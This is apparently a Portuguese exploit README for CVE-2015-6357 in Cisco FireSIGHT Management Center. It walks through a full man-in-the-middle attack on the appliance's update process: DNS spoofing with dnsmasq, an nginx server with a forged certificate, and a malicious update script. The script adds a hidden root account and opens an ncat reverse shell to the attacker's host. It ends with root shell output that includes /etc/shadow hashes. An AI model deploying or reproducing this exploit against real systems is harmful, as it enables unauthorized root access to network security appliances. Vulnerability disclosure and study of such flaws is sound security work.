mattimustang/firepwnerExploit para a vulnerabilidade de validação de certificado CVE-2015-6357 do Cisco FireSIGHT Management Center
Por si só, a Vulnerabilidade de Validação de Certificado do Cisco FireSIGHT Management Center é uma vulnerabilidade de gravidade média com CVSS de 5.1. No entanto, esta vulnerabilidade é um exemplo de por que a validação de certificados SSL é tão importante. Neste exploit, demonstrarei como a vulnerabilidade pode ser aproveitada para obter execução remota privilegiada de comandos em um sistema Cisco FireSIGHT. O exploit encadeia a vulnerabilidade de validação SSL com o processo de atualização de software no sistema Cisco FireSIGHT para enganar o sistema alvo, fazendo-o baixar uma atualização maliciosa e executá-la para obter uma shell reversa com privilégios de root.
O appliance Cisco FireSIGHT Management Center é usado para gerenciar os Sistemas de Prevenção de Intrusão (IPS) Cisco FirePOWER, também conhecidos como Sourcefire IPS. O FireSIGHT é responsável por baixar assinaturas de IPS atualizadas e instalá-las nos dispositivos IPS gerenciados.
O FireSIGHT Management Center permite que um administrador inicie manualmente uma atualização das regras de IPS ou agende as atualizações para ocorrerem diariamente/semanalmente/mensalmente.
Quando o FireSIGHT Management Center realiza uma atualização, ele usa o comando UNIX curl para fazer o download do Suporte Sourcefire. A invocação do comando curl recebe a opção -k (também conhecida como --insecure), que instrui o curl a não validar nenhum certificado SSL apresentado pelo servidor.
Aqui está a saída do ps do servidor baixando uma atualização:
admin@FIRESIGHT01:/var/sf$ ps -auxwww | grep curl
root 8351 0.0 0.0 37396 2708 ? S 02:02 0:00 /usr/local/bin/curl -k -o /var/sf/updates/Sourcefire_Geodb_Update-2015-08-17-002.sh https://support.sourcefire.com/auto-update/auto-dl.cgi/XX:XX:XX:XX:XX:XX:XX/Download/files/Sourcefire_Geodb_Update-2015-08-17-002.sh
As atualizações do FireSIGHT vêm na forma de um script shell gerado por makeself, que contém tanto comandos shell UNIX Bourne quanto os dados binários a serem entregues na atualização. Esses scripts de atualização shell são executados diretamente no servidor FireSIGHT como o usuário local www.
Um atacante que consiga realizar um ataque de homem no meio (man-in-the-middle) contra um servidor FireSIGHT pode forçá-lo a se conectar a uma versão falsificada do site Suporte Sourcefire e baixar um script de atualização malicioso que executará qualquer comando desejado pelo atacante no servidor FireSIGHT.
A vulnerabilidade de validação SSL permite que isso ocorra, fazendo com que o sistema ignore alegremente o certificado SSL falsificado do atacante, baixe a atualização maliciosa e a execute.
Se o comando curl validasse o certificado SSL, ele falharia ao baixar o script malicioso e protegeria o servidor FireSIGHT do atacante.
Este exploit demonstra o perigo de não validar o certificado SSL ao explorar a vulnerabilidade para obter execução remota de comandos como o usuário root.
O cenário de ataque é aquele em que um atacante obteve a capacidade de interceptar (man-in-the-middle) o tráfego do servidor FireSIGHT para o site https://support.sourcefire.com. A maneira mais simples de demonstrar isso é configurar um servidor DNS "comprometido" que responda às consultas do domínio support.sourcefire.com com o endereço IP de um servidor web controlado pelo atacante.
Em um cenário de ataque real, o atacante pode usar várias técnicas de man-in-the-middle para alcançar o mesmo objetivo. Tais como:
Este exploit foi testado nas seguintes versões do FireSIGHT Virtual Appliance:
No PoC abaixo, o servidor FireSIGHT recebeu o endereço IP 192.168.1.99.
O host atacante estava executando Kali Linux 2.0, embora a configuração abaixo deva funcionar em qualquer servidor baseado em Debian Linux. O endereço IP do host Kali no exemplo abaixo é 192.168.1.1. O host Kali é usado para executar o servidor DNS, bem como o site Suporte Sourcefire falsificado.
O exploit requer a capacidade de falsificar a resposta DNS para support.sourcefire.com. Um servidor dnsmasq é executado para fornecer essa capacidade e atuar como o servidor DNS "comprometido".
Instale o dnsmasq:
root@kali# apt-get install dnsmasq
Configure o dnsmasq:
root@kali# cat << EOF > /etc/dnsmasq.d/firepnwer.conf
address=/support.sourcefire.com/192.168.1.1
server=8.8.8.8
EOF
Edite o endereço IP na linha address para que seja o endereço do servidor web de onde você servirá as atualizações.
Inicie o dnsmasq:
root@kali# service dnsmasq start
Um servidor web é necessário para servir o exploit ao servidor FireSIGHT quando ele solicitar uma atualização.
Instale o servidor web nginx:
root@kali# apt-get install nginx
Crie um certificado autoassinado para se passar por support.sourcefire.com:
root@kali# mkdir /etc/nginx/ssl
root@kali# openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout /etc/nginx/ssl/nginx.key \
-out /etc/nginx/ssl/nginx.crt
Country Name (2 letter code) [AU]:AU
State or Province Name (full name) [Some-State]:New South Wales
Locality Name (eg, city) []:Newcastle
Organization Name (eg, company) [Internet Widgits Pty Ltd]:FirePWNER Exploit.
Organizational Unit Name (eg, section) []:
Common Name (e.g. server FQDN or YOUR name) []:support.sourcefire.com
Email Address []:
Configure o nginx substituindo o conteúdo de /etc/nginx/sites-available/default por:
server {
listen 80 default_server;
listen [::]:80 default_server;
listen 443 ssl;
root /var/www/html;
index index.html index.htm index.nginx-debian.html;
server_name support.sourcefire.com;
ssl_certificate /etc/nginx/ssl/nginx.crt;
ssl_certificate_key /etc/nginx/ssl/nginx.key;
location / {
try_files $uri $uri/ =404;
}
# rewrite requests that contain the clients license key
location ~* /auto-update/auto-dl.cgi/[A-F0-9][A-F0-9]:.* {
rewrite ^(/auto-update/auto-dl.cgi)/[A-F0-9][A-F0-9]:[A-F0-9][A-F0-9]:[A-F0-9][A-F0-9]:[A-F0-9][A-F0-9]:[A-F0-9][A-F0-9]:[A-F0-9][A-F0-9]:[A-F0-9][A-F0-9]/(.*)$ $1/$2;
}
location /auto-update {
root /var/www/html/firepwner;
}
}
Inicie o nginx:
root@kali# service nginx start
O exploit FirePWNER exige que dois arquivos sejam servidos pelo servidor web. O primeiro arquivo é o manifesto de atualização, que é um arquivo XML contendo uma lista das atualizações disponíveis, sua localização de download e hashes MD5.
Primeiro, você precisa criar alguns diretórios:
root@kali# mkdir \
/var/www/html/firepwner/auto-update/auto-dl.cgi/{Download/files,GetCurrent}
Depois, copie os arquivos do exploit para eles:
root@kali# cp sf.xml /var/www/html/firepwner/auto-update/auto-dl.cgi/GetCurrent/sf.xml
root@kali# cp firepwner.sh \
/var/www/html/firepwner/auto-update/auto-dl.cgi/Download/files/firepwner.sh
Após copiar esses arquivos, você deve conseguir acessar http://192.168.1.1/auto-update/auto-dl.cgi/GetCurrent/sf.xml
Em seguida, para fins de demonstração do exploit, o servidor FireSIGHT precisa ser configurado para usar o servidor DNS "comprometido". Faça login no portal web do FireSIGHT e vá para System > Local > Configure > Management Interfaces e defina o servidor DNS primário para o endereço IP do servidor DNS "comprometido" (192.168.1.1) e salve a alteração.
O exploit usa o comando ncat, instalado por padrão no servidor FireSIGHT, para criar uma shell reversa para o host Kali. No host Kali, você precisa ouvir a conexão da shell reversa vinda do servidor FireSIGHT:
root@kali# ncat -v -l 4444
Em seguida, no portal web do FireSIGHT, navegue até System > Updates > Rule Updates e selecione Download new rule update from the Support Site e clique no botão Import. O servidor então baixará o manifesto de atualização sf.xml do servidor do atacante, verá que há uma atualização disponível, baixará a atualização e a executará como o usuário www. O script de atualização/exploit abaixo aproveita o fato de que o usuário www possui vários comandos sudo que pode executar, incluindo useradd. O exploit cria um novo usuário toor com uma senha vazia e depois usa su para elevar privilégios e iniciar uma conexão de shell reversa de volta ao servidor do atacante.
#!/bin/sh
# add a new UID 0 "toor" user with an empty password
sudo useradd -o -p '$1$FuV6TnrC$rKJCjOHJXuFhl2djLOBmF.' -g root -c toor -u 0 -s /bin/sh \
-d /root toor
# su to toor and start the reverse shell
echo | su - toor -c "/usr/local/sf/nmap/bin/ncat -e /bin/sh support.sourcefire.com 4444"
exit 0
O script do exploit pode ser alterado para executar quaisquer outros comandos desejados. Se o script for alterado, o valor da tag XML <md5sum> em sf.xml deve ser atualizado com o novo hash MD5 do script do exploit.
Este é um exemplo da saída que você deve ver no host Kali quando o exploit for bem-sucedido e uma shell remota no servidor FireSIGHT for aberta e os comandos id e cat /etc/passwd forem executados:
root@kali# ncat -v -l 4444
Ncat: Version 6.49BETA4 ( http://nmap.org/ncat )
Ncat: Listening on :::4444
Ncat: Listening on 0.0.0.0:4444
Ncat: Connection from 192.168.1.99.
Ncat: Connection from 192.168.1.99:41637.
id
uid=0(root) gid=0(root) groups=0(root)
cat /etc/shadow
root:x:11869:0:::::
bin:*:9797:0:::::
daemon:*:9797:0:::::
mysql:*:9797:0:::::
nobody:*:9797:0:::::
sshd:*:9797:0:::::
www:*:9797:0:::::
sfsnort:*:9797:0:::::
sfremediation:*:9797:0:::::
sfrna:*:9797:0:::::
snorty:*:9797:0:::::
admin:$6$GCOeXpyR$Qhq6Eq5aSW8n.15RajwYrHVLud8NaN4aKEkVXC43I5m/X.ux/bgIHAplYifOaxTIxaIThqOBGmZgO5aey5tjE/:11869:0:::::
toor:$1$FuV6TnrC$rKJCjOHJXuFhl2djLOBmF.:16679:0:99999:7:::
Os arquivos usados neste exploit podem ser obtidos no github.